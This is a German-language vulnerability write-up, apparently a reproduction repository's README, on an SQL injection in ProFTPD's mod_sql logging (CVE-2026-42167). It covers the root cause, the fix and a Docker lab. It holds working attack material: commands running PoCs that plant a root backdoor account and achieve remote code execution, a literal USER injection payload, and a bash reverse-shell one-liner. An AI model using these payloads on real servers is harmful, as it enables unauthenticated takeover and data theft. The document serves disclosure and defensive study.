
Unabhängige Reproduktion, Root-Cause-Analyse auf Code-Ebene und realistische Exposure-Dokumentation für CVE-2026-42167 (ProFTPD mod_sql is_escaped_text()-Umgehung).
mod_sql SQL-Injection / Auth-Bypass / RCEUnabhängige Reproduktion, Code-Level-Root-Cause-Analyse und eine offene
Expositionsanalyse für CVE-2026-42167 — den is_escaped_text()-Bypass in
der mod_sql-Logging-Pipeline von ProFTPD, offengelegt von ZeroPath Research
und behoben in ProFTPD 1.3.9a / 1.3.10rc1.
End-to-End in Docker auf macOS / Apple Silicon erstellt und verifiziert, 2026-04-29.
TL;DR — siehe Fazit für das realistische Expositionsbild, bevor Sie entscheiden, wie besorgt Sie sein sollten. Dies ist kein Standard-Installations-Bug, aber das gefährliche Quoting-Muster ist das Muster, das die Upstream-Dokumentation Ihnen zu verwenden empfiehlt, sodass ein großer Teil der
mod_sql-Bereitstellungen es erbt.
| Feld | Wert |
|---|---|
| CVE | CVE-2026-42167 |
| CWE | CWE-89 (SQL-Injection), CWE-78 (OS-Command-Injection — via PG COPY TO PROGRAM) |
| Betroffen | ProFTPD ≤ 1.3.9 mit mod_sql + SQLLog/SQLNamedQuery, dessen Formatstring eine angreiferkontrollierte Variable innerhalb einfacher Anführungszeichen interpoliert |
| Behoben in | 1.3.9a (af90843ba…) / 1.3.10rc1, siehe Commit e6f728481 ("Issue #2052") |
| Fixierter verwundbarer Commit | ae25959adb05ae1d6ebfa1f36bf778c9c34e9410 |
| Verwundbare Datei | contrib/mod_sql.c Zeilen 741–758 (is_escaped_text) und Zeile 777 (sql_resolved_append_text) |
| Ursprüngliche Offenlegung | https://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce |
| Öffentlicher PoC | https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc |
| Release-Notizen | http://www.proftpd.org/docs/RELEASE_NOTES-1.3.10rc1 |
is_escaped_text()-Heuristik in contrib/mod_sql.cmod_sql löst Logging-Formatvariablen (%U, %{basename}, usw.) auf und
hängt jedes Stück über sql_resolved_append_text() in das gerenderte SQL ein.
Um die Abwärtskompatibilität mit Admin-Konfigurationen zu wahren, die Variablen
bereits in '…' kapseln, ruft die Funktion is_escaped_text() auf, um zu
entscheiden, ob sql_escapestring benötigt wird:```c
/* contrib/mod_sql.c — vulnerable commit ae25959 */
741 static int is_escaped_text(const char text, size_t text_len) {
742 register unsigned int i;
743
744 if (text[0] != ''') return FALSE;
745 if (text[text_len-1] != ''') return FALSE;
746 for (i = 1; i < text_len-1; i++)
747 if (text[i] == ''') return FALSE;
748 return TRUE;
749 }
…
777 if (is_escaped_text(text, text_len) == FALSE) {
… / …sql_escapestring()… */
790 } else {
791 pr_trace_msg(trace_channel, 17,
792 "text '%s' is already escaped, skipping escaping it again", text);
793 new_text = (char *) text;
794 new_textlen = text_len;
795 }
Die Prüfung ist rein strukturell – sie kann nicht zwischen *„bereits durch
vertrauenswürdigen Code maskiert"* und *„von einem Angreifer so gestaltet, dass es
bereits maskiert aussieht"* unterscheiden.
Jeder clientseitig gelieferte Wert, der `'<no-internal-quotes>'` entspricht, überspringt
`sql_escapestring` und wird unverarbeitet in die endgültige Abfrage eingefügt.
Die standardmäßige, dokumentierte Konfiguration umschließt `%U` / `%{basename}` / `%m` in einfache
Anführungszeichen:```
SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
SQLLog ERR_* log_activity
Wenn der Angreifer USER '<payload>' sendet (Anführungszeichen am Anfang und Ende, keine
internen Anführungszeichen), ersetzt der Resolver %U unescaped, was
''<payload>'' in der SQL-Abfrage erzeugt – die leeren String-Literale schließen die
umgebenden Anführungszeichen und <payload> wird als rohes SQL ausgeführt. Mit PostgreSQL
(PQexec) und SQLite (sqlite3_exec) werden gestapelte Abfragen unterstützt, sodass
<payload> eine beliebige Folge von Anweisungen sein kann.
Da SQLLog ERR_* bei fehlgeschlagenen Logins ausgelöst wird und %U aus
USER vor der Authentifizierung gesetzt wird, ist der Angriff vollständig ohne Authentifizierung möglich.
e6f728481, "Issue #2052")sql_resolved_append_text() erhält einen already_escaped-Parameter. Aufrufer,
die Werte aus Client-Eingaben auflösen, übergeben FALSE und durchlaufen nun
sql_escapestring bedingungslos – die is_escaped_text()-Heuristik wird
weiterhin für den legitimen Pfad "Konfiguration enthält vorab escaped Wert" angewendet, gilt aber
nicht mehr für angreiferkontrollierte Daten.
+--------------------+ FTP 21 +-----------------------+ | attacker (host) | <--> 127.0.0.1:2121 | proftpd-poc-server | | python3 PoCs | | ProFTPD 1.3.9-pre | +--------------------+ | mod_sql_postgres | +-----------+-----------+ | libpq v +-----------------------+ | proftpd-poc-postgres | | PostgreSQL 15 | | role 'proftpd' = SU | +-----------------------+
- Beide Container werden über `setup/docker-compose.yml` gestartet.
- `setup/proftpd.conf` aktiviert die verwundbare Logging-Konfiguration (siehe §1).
- `setup/seed.sql` erstellt `users`, `groups`, `activity_log`, `xfer_log`
und `secrets` sowie einen einzelnen legitimen FTP-Benutzer `ftpuser / ftppass`.
---
## 3. Reproduktion — Copy/Paste
Voraussetzungen: Docker Desktop, Python 3.10+, git. (`uv` ist optional; die
PoCs benötigen nur die Standardbibliothek.)```bash
# 1) clone this repo
git clone https://github.com/dinosn/proftpd-CVE-2026-42167-analysis.git
cd proftpd-CVE-2026-42167-analysis/poc
# 2) build vulnerable proftpd + postgres in Docker
cd setup && ./setup.sh && cd ..
# - clones proftpd source pinned to ae25959a (vulnerable)
# - builds with --with-modules=mod_sql:mod_sql_postgres
# - starts both containers, waits for healthchecks
# 3) reproduce — pre-auth backdoor user (uid=0, homedir=/)
python3 pocs/preauth_user_backdoor.py --host localhost --port 2121
# 4) inspect the planted account
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
-c "SELECT userid,uid,gid,homedir,shell FROM users;"
# 5) reproduce — post-auth STOR backdoor
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
-c "DELETE FROM users WHERE userid='backdoor';"
python3 pocs/postauth_stor_backdoor.py \
--host localhost --port 2121 --user ftpuser --password ftppass
# 6) reproduce — pre-auth RCE proof (non-interactive, marker-file variant)
python3 pocs/preauth_rce_marker.py --host localhost --port 2121
docker exec proftpd-poc-postgres cat /tmp/cve-2026-42167-rce.txt
# 7) tear down
cd setup && ./teardown.sh
Die beiden interaktiven Varianten im Upstream-Repository
(preauth_user_rce.py, postauth_stor_rce.py) sind unverändert und öffnen eine
PTY-gestützte Reverse Shell. Sie verwenden dasselbe Primitive wie die Marker-Variante —
ersetze einfach den Shell-Befehl durch bash -i >& /dev/tcp/<host>/<port> 0>&1 und höre zuerst auf <port>.
USER-Befehl, %U)```USER ', null, null); INSERT INTO users VALUES($$backdoor$$, $$pwned123$$, 0, 0, $$/$$, $$/bin/bash$$); --' PASS x
Warum es funktioniert: